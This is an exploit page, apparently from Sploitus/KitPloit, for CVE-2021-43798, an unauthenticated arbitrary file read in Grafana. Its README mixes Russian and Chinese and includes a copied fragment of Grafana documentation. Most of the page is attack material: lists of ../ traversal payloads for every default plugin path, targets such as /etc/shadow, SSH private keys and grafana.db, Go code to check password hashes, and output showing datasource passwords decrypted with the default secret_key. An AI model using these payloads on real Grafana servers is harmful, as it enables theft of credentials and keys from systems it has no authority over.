Sploitus

Exploit for Grafana

CVE-2021-43798

kitploit · 2026-09-03

Exploit Code

MARKDOWN357 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAS502N-GRAFANA-CVE-2021-43798
# CVE-2021-43798 Уязвимость Grafana: неавторизованное чтение произвольных файлов

8.3.1 (2021-12-07) Безопасность: исправление **CVE-2021-43798**. Для получения дополнительной информации см. наш блог

https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/

![image](https://assets.kitploit.com/production/public/readmes/27363/d508c842c26b29dc6cef8408a946d597d82a2c444addd2f0009e933d20731cbe.png) ![image](https://assets.kitploit.com/production/public/readmes/27363/a8e0d98390202e9b00de76b06d0fa568a4d3406d5baaf0eecc132cabad1ce7d5.png)

### Пример: получение пароля базы данных

`/var/lib/grafana/grafana.db`

![image](https://assets.kitploit.com/production/public/readmes/27363/d8b1359f1eb8c3049034ca0d6b4cb6997826c3d2a8f59e2312fefa93b13a160c.png)

加盐密码明文验证 https://github.com/grafana/grafana/blob/985c61d7008211e0fbee7d095bf3424adf71b4ac/pkg/util/encoding.go ![image](https://assets.kitploit.com/production/public/readmes/27363/0577ad1291f52832d34f13026cb754383b664505b264c957965eb61c3ecffd3e.png)

root@kitploit:~
    
    
    package main
    
    import (
    	"crypto/sha256"
    	"encoding/hex"
    	"fmt"
    	"golang.org/x/crypto/pbkdf2"
    )
    
    // EncodePassword encodes a password using PBKDF2.
    func EncodePassword(password string, salt string) string {
    	newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New)
    	return hex.EncodeToString(newPasswd)
    }
    
    func main() {
    	fmt.Println(EncodePassword("admin", "F3FAxVm33R"))
    }
    
    
    

![image](https://assets.kitploit.com/production/public/readmes/27363/4527c8a2129e8443c99a4cbd7cc853ec1131b24c6adc49d2aac02aa012f559f1.png) ![image](https://assets.kitploit.com/production/public/readmes/27363/375c25aff0b8ed87d12b2c672b43571203c1fed4cdec1528ab950fb041e8adaa.png)

Конфиг `/etc/grafana/grafana.ini`

root@kitploit:~
    
    
    bash-5.1$ ps -ef |grep grafana
        1 grafana   0:35 grafana-server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
    

### Обеспечение шифрования секретов источников данных

Источники данных по умолчанию хранят пароли и пароли базовой аутентификации в зашифрованном secureJsonData (AES-256 в режиме CFB). Существующие источники данных продолжат работать с незашифрованными паролями. Если вы хотите перейти на зашифрованное хранение для существующих источников данных, вы можете сделать это следующим образом:

  * Для источников данных, созданных через интерфейс, необходимо зайти в конфигурацию источника данных, повторно ввести пароль или пароль базовой аутентификации и сохранить источник данных.
  * Для источников данных, созданных с помощью provisioning, необходимо обновить файл конфигурации и использовать поля secureJsonData.password или secureJsonData.basicAuthPassword. Пример текущей конфигурации см. в [документации по provisioning]({{< relref "../administration/provisioning" >}}).



https://github.com/grafana/grafana/blob/main/pkg/util/encryption.go

![image](https://assets.kitploit.com/production/public/readmes/27363/82edc35212e6885c1bc4cf27aa7f79403860dddf8494b3e0371323eadc0ba48a.png)

#### расшифровка пароля

例如： 从数据库`/var/lib/grafana/grafana.db`获得数据源密文 `R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==` ,通过读取 `/etc/grafana/grafana.ini` 中的 `secret_key` (default: SW2YcwTIb9zpOOhoPsMm),进行解密

root@kitploit:~
    
    
    $ go run AESDecrypt.go
    [*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
    [*] DataSourcePassword= R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
    [*] plainText= jas502n
    
    

#### шифрование пароля

例如： 将明文密码`jas502n`通过key，加密成密文

root@kitploit:~
    
    
    [*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
    [*] PlainText= jas502n
    [*] EncodePassword= QWhMOFdNZkqW6bx9YM0dPHMjzInsvycQXgMmMfFqpA==
    

### другие атаки

root@kitploit:~
    
    
    /conf/defaults.ini
    /etc/grafana/grafana.ini
    /etc/passwd
    /etc/shadow
    /home/grafana/.bash_history
    /home/grafana/.ssh/id_rsa
    /root/.bash_history
    /root/.ssh/id_rsa
    /usr/local/etc/grafana/grafana.ini
    /var/lib/grafana/grafana.db
    /proc/net/fib_trie
    /proc/net/tcp
    /proc/self/cmdline
    

root@kitploit:~
    
    
    Количество плагинов по умолчанию: 40
    Успешное количество: 48
    

Обход ошибки прокси nginx Grafana 400

https://twitter.com/chybeta/status/1468410745264041992

root@kitploit:~
    
    
    /public/plugins/alertGroups/../../../../../../../../etc/passwd
    /public/plugins/alertlist/../../../../../../../../etc/passwd
    /public/plugins/alertmanager/../../../../../../../../etc/passwd
    /public/plugins/annolist/../../../../../../../../etc/passwd
    /public/plugins/barchart/../../../../../../../../etc/passwd
    /public/plugins/bargauge/../../../../../../../../etc/passwd
    /public/plugins/canvas/../../../../../../../../etc/passwd
    /public/plugins/cloudwatch/../../../../../../../../etc/passwd
    /public/plugins/dashboard/../../../../../../../../etc/passwd
    /public/plugins/dashlist/../../../../../../../../etc/passwd
    /public/plugins/debug/../../../../../../../../etc/passwd
    /public/plugins/elasticsearch/../../../../../../../../etc/passwd
    /public/plugins/gauge/../../../../../../../../etc/passwd
    /public/plugins/geomap/../../../../../../../../etc/passwd
    /public/plugins/gettingstarted/../../../../../../../../etc/passwd
    /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
    /public/plugins/grafana/../../../../../../../../etc/passwd
    /public/plugins/graph/../../../../../../../../etc/passwd
    /public/plugins/graphite/../../../../../../../../etc/passwd
    /public/plugins/heatmap/../../../../../../../../etc/passwd
    /public/plugins/histogram/../../../../../../../../etc/passwd
    /public/plugins/influxdb/../../../../../../../../etc/passwd
    /public/plugins/jaeger/../../../../../../../../etc/passwd
    /public/plugins/live/../../../../../../../../etc/passwd
    /public/plugins/logs/../../../../../../../../etc/passwd
    /public/plugins/loki/../../../../../../../../etc/passwd
    /public/plugins/mixed/../../../../../../../../etc/passwd
    /public/plugins/mssql/../../../../../../../../etc/passwd
    /public/plugins/mysql/../../../../../../../../etc/passwd
    /public/plugins/news/../../../../../../../../etc/passwd
    /public/plugins/nodeGraph/../../../../../../../../etc/passwd
    /public/plugins/opentsdb/../../../../../../../../etc/passwd
    /public/plugins/piechart/../../../../../../../../etc/passwd
    /public/plugins/pluginlist/../../../../../../../../etc/passwd
    /public/plugins/postgres/../../../../../../../../etc/passwd
    /public/plugins/prometheus/../../../../../../../../etc/passwd
    /public/plugins/stat/../../../../../../../../etc/passwd
    /public/plugins/state-timeline/../../../../../../../../etc/passwd
    /public/plugins/status-history/../../../../../../../../etc/passwd
    /public/plugins/table-old/../../../../../../../../etc/passwd
    /public/plugins/table/../../../../../../../../etc/passwd
    /public/plugins/tempo/../../../../../../../../etc/passwd
    /public/plugins/testdata/../../../../../../../../etc/passwd
    /public/plugins/text/../../../../../../../../etc/passwd
    /public/plugins/timeseries/../../../../../../../../etc/passwd
    /public/plugins/welcome/../../../../../../../../etc/passwd
    /public/plugins/xychart/../../../../../../../../etc/passwd
    /public/plugins/zipkin/../../../../../../../../etc/passwd
    

# 0x0 Список установленных плагинов по умолчанию (40):

http://x.x.x.x:3000/api/plugins?embedded=0

root@kitploit:~
    
    
    alertlist
    annolist
    grafana-azure-monitor-datasource
    barchart
    bargauge
    cloudwatch
    dashlist
    elasticsearch
    gauge
    geomap
    gettingstarted
    stackdriver
    graph
    graphite
    heatmap
    histogram
    influxdb
    jaeger
    logs
    loki
    mssql
    mysql
    news
    nodeGraph
    opentsdb
    piechart
    pluginlist
    postgres
    prometheus
    stat
    state-timeline
    status-history
    table
    table-old
    tempo
    testdata
    text
    timeseries
    welcome
    zipkin
    

![image](https://assets.kitploit.com/production/public/readmes/27363/5eb319a1e8decdcd8341a87ccdc0c3a99c889cf3053932d1013b2f3fd34bf6c7.png)

# 0x01 /usr/share/grafana/public/app/plugins/datasource (21)

root@kitploit:~
    
    
    /usr/share/grafana/public/app/plugins/datasource
    
    bash-5.1$ ls -l
    drwxr-xr-x    3 root     root          4096 Oct  7 10:55 alertmanager
    drwxr-xr-x    7 root     root          4096 Oct  7 10:55 cloud-monitoring
    drwxr-xr-x    8 root     root          4096 Oct  7 10:55 cloudwatch
    drwxr-xr-x    2 root     root          4096 Oct  7 10:55 dashboard
    drwxr-xr-x    9 root     root          4096 Oct  7 10:55 elasticsearch
    drwxr-xr-x    3 root     root          4096 Oct  7 10:55 grafana
    drwxr-xr-x   19 root     root          4096 Oct  7 10:55 grafana-azure-monitor-datasource
    drwxr-xr-x    9 root     root          4096 Oct  7 10:55 graphite
    drwxr-xr-x    6 root     root          4096 Oct  7 10:55 influxdb
    drwxr-xr-x    4 root     root          4096 Oct  7 10:55 jaeger
    drwxr-xr-x    7 root     root          4096 Oct  7 10:55 loki
    drwxr-xr-x    2 root     root          4096 Oct  7 10:55 mixed
    drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mssql
    drwxr-xr-x    5 root     root          4096 Oct  7 10:55 mysql
    drwxr-xr-x    6 root     root          4096 Oct  7 10:55 opentsdb
    drwxr-xr-x    5 root     root          4096 Oct  7 10:55 postgres
    drwxr-xr-x    7 root     root          4096 Oct  7 10:55 prometheus
    drwxr-xr-x    4 root     root          4096 Oct  7 10:55 tempo
    drwxr-xr-x    7 root     root          4096 Oct  7 10:55 testdata
    drwxr-xr-x    4 root     root          4096 Oct  7 10:55 zipkin
    

Фаззинг успешен! ![image-20211207165332908](https://assets.kitploit.com/production/public/readmes/27363/341b6f280ec4a7e4397496716dfd644225b084af9d095542b4d68b7505448e95.png)

root@kitploit:~
    
    
    /public/plugins/alertmanager/../../../../../../../../etc/passwd
    /public/plugins/cloudwatch/../../../../../../../../etc/passwd
    /public/plugins/dashboard/../../../../../../../../etc/passwd
    /public/plugins/elasticsearch/../../../../../../../../etc/passwd
    /public/plugins/grafana/../../../../../../../../etc/passwd
    /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
    /public/plugins/graphite/../../../../../../../../etc/passwd
    /public/plugins/influxdb/../../../../../../../../etc/passwd
    /public/plugins/jaeger/../../../../../../../../etc/passwd
    /public/plugins/loki/../../../../../../../../etc/passwd
    /public/plugins/mixed/../../../../../../../../etc/passwd
    /public/plugins/mssql/../../../../../../../../etc/passwd
    /public/plugins/mysql/../../../../../../../../etc/passwd
    /public/plugins/opentsdb/../../../../../../../../etc/passwd
    /public/plugins/postgres/../../../../../../../../etc/passwd
    /public/plugins/prometheus/../../../../../../../../etc/passwd
    /public/plugins/tempo/../../../../../../../../etc/passwd
    /public/plugins/testdata/../../../../../../../../etc/passwd
    /public/plugins/zipkin/../../../../../../../../etc/passwd
    

# 0x02 /usr/share/grafana/public/app/plugins/ (29)

root@kitploit:~
    
    
    /usr/share/grafana/public/app/plugins/panel/
    
    drwxr-xr-x    2 root     root        4.0K Oct  7 10:55 alertGroups
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 alertlist
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 annolist
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 barchart
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 bargauge
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 canvas
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 dashlist
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 debug
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gauge
    drwxr-xr-x    8 root     root        4.0K Oct  7 10:55 geomap
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 gettingstarted
    drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 graph
    drwxr-xr-x    5 root     root        4.0K Oct  7 10:55 heatmap
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 histogram
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 live
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 logs
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 news
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 nodeGraph
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 piechart
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 pluginlist
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 stat
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 state-timeline
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 status-history
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table
    drwxr-xr-x    4 root     root        4.0K Oct  7 10:55 table-old
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 text
    drwxr-xr-x    6 root     root        4.0K Oct  7 10:55 timeseries
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 welcome
    drwxr-xr-x    3 root     root        4.0K Oct  7 10:55 xychart
    

![image-20211207170001125](https://assets.kitploit.com/production/public/readmes/27363/ac4d296c2d4941abf5db672df84718b9ec62a26870737422b20c0bcde70c8afc.png)

Фаззинг успешен

root@kitploit:~
    
    
    /public/plugins/alertGroups/../../../../../../../../etc/passwd
    /public/plugins/alertlist/../../../../../../../../etc/passwd
    /public/plugins/annolist/../../../../../../../../etc/passwd
    /public/plugins/barchart/../../../../../../../../etc/passwd
    /public/plugins/bargauge/../../../../../../../../etc/passwd
    /public/plugins/canvas/../../../../../../../../etc/passwd
    /public/plugins/dashlist/../../../../../../../../etc/passwd
    /public/plugins/debug/../../../../../../../../etc/passwd
    /public/plugins/gauge/../../../../../../../../etc/passwd
    /public/plugins/geomap/../../../../../../../../etc/passwd
    /public/plugins/gettingstarted/../../../../../../../../etc/passwd
    /public/plugins/graph/../../../../../../../../etc/passwd
    /public/plugins/heatmap/../../../../../../../../etc/passwd
    /public/plugins/histogram/../../../../../../../../etc/passwd
    /public/plugins/live/../../../../../../../../etc/passwd
    /public/plugins/logs/../../../../../../../../etc/passwd
    /public/plugins/news/../../../../../../../../etc/passwd
    /public/plugins/nodeGraph/../../../../../../../../etc/passwd
    /public/plugins/piechart/../../../../../../../../etc/passwd
    /public/plugins/pluginlist/../../../../../../../../etc/passwd
    /public/plugins/stat/../../../../../../../../etc/passwd
    /public/plugins/state-timeline/../../../../../../../../etc/passwd
    /public/plugins/status-history/../../../../../../../../etc/passwd
    /public/plugins/table/../../../../../../../../etc/passwd
    /public/plugins/table-old/../../../../../../../../etc/passwd
    /public/plugins/text/../../../../../../../../etc/passwd
    /public/plugins/timeseries/../../../../../../../../etc/passwd
    /public/plugins/welcome/../../../../../../../../etc/passwd
    /public/plugins/xychart/../../../../../../../../etc/passwd